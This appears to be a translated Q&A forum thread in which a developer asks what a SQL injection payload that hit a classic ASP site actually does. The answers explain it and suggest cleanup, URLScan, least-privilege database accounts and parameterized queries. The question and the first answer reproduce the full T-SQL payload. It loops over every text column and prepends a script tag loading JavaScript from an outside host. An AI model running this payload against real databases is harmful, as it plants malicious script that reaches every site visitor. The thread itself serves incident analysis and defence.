Может кто-нибудь объяснить мне эту атаку SQL-инъекции?

Я хотел опубликовать это здесь, так как это очень связано с кодированием и было то, что я должен был очистить на этой неделе на одном из старых сайтов ASP (classic) моей компании.

мы попали в атаку SQL-инъекции, которая была запущена всего несколько дней назад, но я чешу голову, что именно "повреждение" было для SQL server (через эти SQL-запросы).

честно говоря, я думал, что это было очень изобретательно, как это было выполнено, и это моя вина компании за наличие старого 10-летний сайт с небольшим количеством без дезинфицированного ввода.

нападение:

он расшифровывается На: (я хочу понять)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

мы восстановили резервную копию (предварительная инъекция) и прошли через все приложение и очистили все входные операторы. Наш сервер имеет брандмауэр, поэтому нет прямого доступа SQL, однако я хочу знать, что еще может быть оставлено, и я должен признать, что SQL-запрос над моей головой.

может кто-нибудь взломать его и объяснить атаку SQL для меня?

ИЗВИНЕНИЯ Я ОБНОВИЛ ПОЛНЫЙ ДАМП & SQL

5 ответов


просто форматирование для удобства чтения многое прояснит:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

он проходит через каждый текстовый столбец каждой таблицы и вставляет в него HTML - HTML, который содержит указатель на внешний JavaScript.


он проходит через все столбцы во всех таблицах и обновляет их значение, добавляя <script> тег, источник которого указывает на вредоносный JS-файл.

важный момент-это

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Я предполагаю, что здесь что-то было опущено, и заявление, вероятно, закончилось чем-то вроде ("varchar", "char", "text") или чем-то подобным, так что он только пытается обновить столбцы, содержащие текст. Они надеются, что одна из колонок содержит текст, который втягивается в ваш веб-сайт, поэтому после того, как они добавят к нему ссылку JS, он будет включен в источник различных страниц.

чтобы исправить это, вы должны сделать что - то подобное-цикл через все столбцы, содержащие текст, и заменить введенный скрипт пустой строкой. Google будет вашим другом здесь, но вот довольно хорошая ссылка, которая должна быть полезна для настройки скрипта что.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2


рассмотреть вопрос об установке URLScan 3.1 чтобы быстро защитить приложение от попыток SQL-инъекций, а также работать через приложение, чтобы правильно санировать ваши операторы sql.

этот тип атаки SQL-инъекции также обычно работает, потому что пользователь базы данных имеет слишком свободные разрешения, например, права DBO. Подключитесь к базе данных из приложения с помощью пользователя базы данных, имеющего только необходимые права для запуска приложения. Вы можете создайте пользователя базы данных, сопоставьте его с базой данных только с публичными правами, чем запустите сценарий, подобный приведенному ниже, чтобы применить необходимые индивидуальные права к каждому объекту.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

очевидно, протестируйте это против вашего конкретного приложения, поскольку у вас могут быть процедуры, требующие возможности выбора из этих таблиц sys.


Я думаю, что он пытается вставить закодированные строки во все текстовые столбцы в вашей базе данных. Проверьте это ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

надеюсь, это поможет в некотором смысле


посмотрите на изменение ваших запросов, как это;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

к чему-то вроде этого;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

это всего лишь грубый пример борьбы с SQL-инъекцией, не прибегая к дезинфекции ввода. Я бы все равно подошел к этому по-другому.